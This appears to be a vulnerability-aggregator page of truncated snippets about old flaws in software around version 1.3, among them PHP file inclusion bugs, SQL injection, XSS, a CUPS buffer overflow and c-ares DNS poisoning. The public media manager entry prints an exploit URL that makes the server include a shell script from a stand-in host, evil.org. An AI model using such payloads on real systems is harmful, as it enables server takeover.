CVE-2007-6147

Multiple PHP remote file inclusion vulnerabilities in IAPR COMMENCE 1.3 allow remote attackers to execute arbitrary PHP code via a URL in the a phprootpath and sometimes the b privilegerootpath parameter to various PHP scripts under 1 admin/includes/, 2 admin/phase/, 3 includes/, 4...

CVE-2007-6147

CVE-2007-6147 affects IAPR COMMENCE 1.3 and describes multiple PHP remote file inclusion vulnerabilities. The flaw allows an attacker to cause arbitrary PHP code execution by supplying a URL in the php_root_path (and sometimes privilege_root_path) parameter to various PHP scripts under admin/incl...

iaprcommence-rfi.txt

iaprcommence 1.3 RFI --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : iaprcommence 1.3 --------------------- Download : http://downloads.sourceforge.net/iaprcommence/CommenceV13.zip?modtime=1195816743&bigmirror=0...

IAPR COMMENCE 1.3 - Multiple Remote File Inclusions

IAPR COMMENCE 1.3 - Multiple Remote File Inclusions iaprcommence 1.3 RFI --------------------- Author : ShAy6oOoN --------------------- Group : PitBull Crew --------------------- Script : iaprcommence 1.3 --------------------- Download :...

CVE-2003-1534

The CVE-2003-1534 entry concerns Justice Guestbook 1.3, specifically the jgb.php3 CGI. The vulnerability is a Cross‑Site Scripting (XSS) flaw triggered by user-supplied input in multiple fields (name, homepage, aim, yim, location, comment), with the underlying cause being insufficient input valid...

Common UNIX Printing System 1.21.3 SNMP - asn1_get_string() Remote Buffer Overflow

Common UNIX Printing System 1.21.3 SNMP - asn1getstring Remote Buffer Overflow source: https://www.securityfocus.com/bid/26917/info Common UNIX Printing System CUPS is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before...

Common UNIX Printing System 1.2/1.3 SNMP - 'asn1_get_string()' Remote Buffer Overflow

source: https://www.securityfocus.com/bid/26917/info Common UNIX Printing System CUPS is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer. Exploiting this issue allows attacke...

CVE-2003-1501

Technical details about CVE-2003-1501 are not publicly provided in the supplied documents. Monitor for updates from official advisories.

CVE-2003-1501

Directory traversal vulnerability in the file upload CGI of Gast Arbeiter 1.3 allows remote attackers to write arbitrary files via a .. dot dot in the reqfile parameter...

CVE-2002-2272

Tomcat 4.0 through 4.1.12, using modjk 1.2.1 module on Apache 1.3 through 1.3.27, allows remote attackers to cause a denial of service desynchronized communications via an HTTP GET request with a Transfer-Encoding chunked field with invalid values...

CVE-2007-5149

The CVE-2007-5149 entry describes a PHP remote file inclusion vulnerability in NewsCMS/Public Media Manager (PMM) 1.3, specifically in NewsCMS/news/newstopic_inc.php where an attacker can cause arbitrary PHP code execution through a URL supplied in the indir parameter. The affected component is t...

public media manager 1.3 - Remote File Inclusion

public media manager 1.3 - Remote File Inclusion f0und bY 0in Download:http://pmm-cms.sourceforge.net/ BUG: news/newstopicinc.php:2:if !empty$indir includeonce $indir."/newsdb/config.php"; Expl0it: http://x.com/path/news/newstopicinc.php?indir=http://evil.org/shell.txt milw0rm.com 2007-09-28...

Webace-Linkscript 1.3 SE - start.php SQL Injection

Webace-Linkscript 1.3 SE - start.php SQL Injection Webace-Linkscript V1.3 Special Edition - Remote SQL Injection Vendor : http://www.webace.de/ Download : http://www.webace.de/downloads/wlsse.zip Ditemukan oleh : k1tk4t - k1tk4t4tnewhack.org Lokasi : Indonesia -- newhackdotorg @ irc.dal.net Berka...

Joomla! Component BibTeX 1.3 - Blind SQL Injection

Joomla Component BibTeX Autore Titolo Ordina select na...

CVE-2007-4326

Multiple PHP remote file inclusion vulnerabilities in Bilder Uploader 1.3 allow remote attackers to execute arbitrary PHP code via a URL in the configrootordner parameter to 1 gruppen.php, 2 bild.php, 3 feed.php, 4 mitglieder.php, 5 online.php, 6 profil.php, and possibly other unspecified PHP...

Remote file inclusion

PHP remote file inclusion in main.php in ISS Proventia Network IPS GX5108 1.3 and GX5008 1.5 allows remote attackers to execute arbitrary PHP code via a URL in the page parameter...

[SECURITY] Fedora Core 5 Update: httpd-2.2.2-1.3

The Apache HTTP Server is a powerful, efficient, and extensible web server...

QuickTalk forum 1.3 (lang) Local File Inclusion Vulnerabilities

No description provided by source. QuickTalk forum v1.3 Local File Inclusion download: http://www.qt-cute.org/download/qtf13.zip found by: katatafish [email protected] vulncode: $strLang = $GET"lang"; include"language/$strLang/qtflangreg.inc"; exploits:...

Apache Prefork MPM vulnerabilities - Report

----- Apache Prefork MPM vulnerabilities ---------------------------------- PSNC Security Team http://security.psnc.pl/files/apachereport.pdf 1. Introduction This small case study is a result of source code analysis of Apache httpd server MPM modules. The main goal of this document is to show, wh...

C-Ares DNS库远程缓存毒药漏洞

C-Ares DNS库是一款可以执行DNS请求和异步名字解析的C库。 C-Ares DNS库使用安全DNS传送ID存在问题，远程攻击者可以利用漏洞进行DNS缓存"毒药"攻击，可进行中间人和欺骗伪造攻击。 C-Ares DNS库实现使用DNS "Transaction ID"字段使用的pseudo随机号码是递增的，因此可预测，可猜测的DNS "Transaction ID"可导致缓存"毒药"攻击。攻击者借此可以进行拒绝服务，中间人欺骗，伪造站点等攻击。 Daniel Stenberg c-ares 1.3.2 Daniel Stenberg c-ares 1.3.1 Daniel...